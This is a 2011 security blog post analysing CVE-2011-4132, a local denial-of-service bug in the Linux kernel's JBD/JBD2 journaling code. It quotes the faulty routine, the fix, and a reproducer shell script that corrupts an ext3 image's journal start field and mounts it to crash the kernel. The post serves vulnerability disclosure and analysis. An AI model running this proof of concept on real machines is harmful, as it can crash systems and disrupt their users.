xorl %eax, %eax

CVE-2011-4132: Linux kernel jbd/jbd2 Local DoS

leave a comment »

This issue was originally reported by Eryu Guan and affects the Linux kernel’s Journaling Block Device (JBD). The buggy code resides fs/jbd/checkpoint.c. More specifically in the following routine.

/*
 * Check the list of checkpoint transactions for the journal to see if
 * we have already got rid of any since the last update of the log tail
 * in the journal superblock.  If so, we can instantly roll the
 * superblock forward to remove those transactions from the log.
 *
 * Return <0 on error, 0 on success, 1 if there was nothing to clean up.
 *
 * Called with the journal lock held.
 *
 * This is the only part of the journaling code which really needs to be
 * aware of transaction aborts.  Checkpointing involves writing to the
 * main filesystem area rather than to the journal, so it can proceed
 * even in abort state, but we must not update the super block if
 * checkpointing may have failed.  Otherwise, we would lose some metadata
 * buffers which should be written-back to the filesystem.
 */

int cleanup_journal_tail(journal_t *journal)
{
        transaction_t * transaction;
        tid_t           first_tid;
        unsigned int    blocknr, freed;
     ...
        if (transaction) {
     ...
                blocknr = transaction->t_log_start;
     ...
        }
        spin_unlock(&journal->j_list_lock);
        J_ASSERT(blocknr != 0);
     ...
        return 0;
}

As Eryu Guan pointed out, using a corrupted EXT3 or EXT4 image with ‘s_first’ value equal to 0 you can reach the J_ASSERT() you see above through journal_reset(). So, the patch was to add some checks on fs/jbd/journal.c and fs/jbd2/journal.c for JBD and JBD2 respectively in order to check explicitly ‘s_first’ value in journal_get_superblock() routine.

        }
 
+       if (be32_to_cpu(sb->s_first) == 0 ||
+           be32_to_cpu(sb->s_first) >= journal->j_maxlen) {
+               printk(KERN_WARNING
+                       "JBD: Invalid start block of journal: %u\n",
+                       be32_to_cpu(sb->s_first));
+               goto out;
+       }
+
        return 0;

Finally, Eryu Guan also provided a shell script to reproduce the problem which is the following.

fstype=ext3
blocksize=1024
img=$fstype.img
offset=0
found=0
magic="c0 3b 39 98"

dd if=/dev/zero of=$img bs=1M count=8
mkfs -t $fstype -b $blocksize -F $img
filesize=`stat -c %s $img`
while [ $offset -lt $filesize ]
do
        if od -j $offset -N 4 -t x1 $img | grep -i "$magic";then
                echo "Found journal: $offset"
                found=1
                break
        fi
        offset=`echo "$offset+$blocksize" | bc`
done

if [ $found -ne 1 ];then
        echo "Magic \"$magic\" not found"
        exit 1
fi

dd if=/dev/zero of=$img seek=$(($offset+23)) conv=notrunc bs=1 count=1

mkdir -p ./mnt
mount -o loop $img ./mnt

As you can see, this script will generate a dummy EXT3 image file with ‘$offset+23’ (which is ‘s_first’ value) set to 0 and then mount it under ./mnt/ directory.

Written by xorl

December 8, 2011 at 15:08

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s